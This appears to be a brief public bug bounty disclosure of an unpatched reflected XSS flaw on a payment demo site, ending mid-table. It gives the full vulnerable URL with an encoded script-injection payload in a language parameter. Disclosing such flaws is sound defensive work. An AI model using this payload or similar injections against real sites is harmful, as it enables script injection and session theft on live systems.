demo.paybox.com XSS vulnerability

Vulnerable URL: http://demo.paybox.com/boutique/pages-cgi/MYpagepaiement.php?PBXLANGUE=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...